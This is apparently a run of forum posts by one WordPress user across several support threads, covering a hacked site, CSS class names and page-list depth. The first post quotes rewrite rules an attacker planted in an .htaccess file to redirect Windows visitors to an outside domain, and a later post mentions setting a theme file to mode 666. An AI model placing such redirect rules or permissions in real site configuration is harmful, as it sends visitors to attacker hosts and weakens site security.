garybeck

My webhost tech help found the problem!

evidently my website was hacked.

there is a file named “htaccess” in my home directory. It defines redirects, error pages, and other stuff.

there were some lines in it creating redirects to ns1.iwillremain.com, such as:

RewriteCond %{HTTP_USER_AGENT} .*Windows.*
RewriteRule .* https://ns1.iwillremain.com/main.php?h=%{HTTP_HOST}&i=Jc2tidcaov2igRj7U8NFyZsXog==&e=r [R,L]

I have no idea how it got there. My webhost thinks my site was hacked.

I changed the line that said:

RewriteEngine On

to

RewriteEngine Off

and now my site is working again.

I wish I knew how this could happen. But at least it’s working again.

I hate to kick my own thread but I’m wondering if anyone has any idea what is going on here… and I noticed something else significant.

when I click on the “update file” link and I get the error, it appears it is trying to go to:

/main.php?h=anneobrien.org&i=tidcaov2igRj7U8NFyZXog==&e=r

and for some very strange reason, the home directory is being defined as nsi.iwillremain.com

so the explicit URL it’s trying to access is:

nsi.iwillremain.com/main.php?h=anneobrien.org&i=tidcaov2igRj7U8NFyZXog==&e=r

now I have no idea what iwillremain.com is, but it should have nothing to do with my blog. I looked it up and and it’s just parked on godaddy.com, and not in use.

I did a text search on the backend of my entire blog and “iwillremain.com” is nowhere at all.

why in the world is “iwillremain.com” getting inserted as the home directory of my blog? since this text doesn’t exist on my blog, it seems to me it must be being inserted (or the home directory is being defined) by the server. But my webhost denies the server is the trouble.

please help!?!?!?

also I just tried it on firefox and got

“the connection was reset
the connection to the server was reset while the page was loading
the site could be temporarily unavailable or too busy.
blah blah…”

in my haste I had a typo…

I checked the CHMOD of the sidebar.php file that I’m trying to **edit and** set it to 666

thanks everyone. I’m still not sure why my css code didn’t work and yours did, but at this point it doesn’t matter ??

thanks very much

thanks but I’m confused. if the class assigned is ‘xoxo blogroll’ don’t i have to include the ‘xoxo’ in the stylesheet definition?

i’ve never seen spaces in class names.

hey the display on this post is messed up. is there no “preview” or “edit” functionality on this forum?

henkholland, you rock! you opened my eyes to something I didn’t know about wordpress. thanks. I created a new template and got the links list to show.

many thanks~~!!

if this is an issue, my wordpress version is 2.8.6

thanks

vtxyzzy, thanks very much! now that I see the standalone page I will go for it!

many thanks!

thank you for the reply. it is working now. I didn’t change anytyhing. it must have been a blip in the space-time continuum last night. I will upgrade regardless.

update, I found this in the code:

<?php wp_list_pages(‘title_li=&depth=1’); ?>

which I changed to

<?php wp_list_pages(‘title_li=&depth=2’); ?>

but this didn’t resolve it… for some reason now it’s only showing the one “tree” that has a child on it, and the others have disappeared.

?? ??

thanks very much that seems to be the ticket!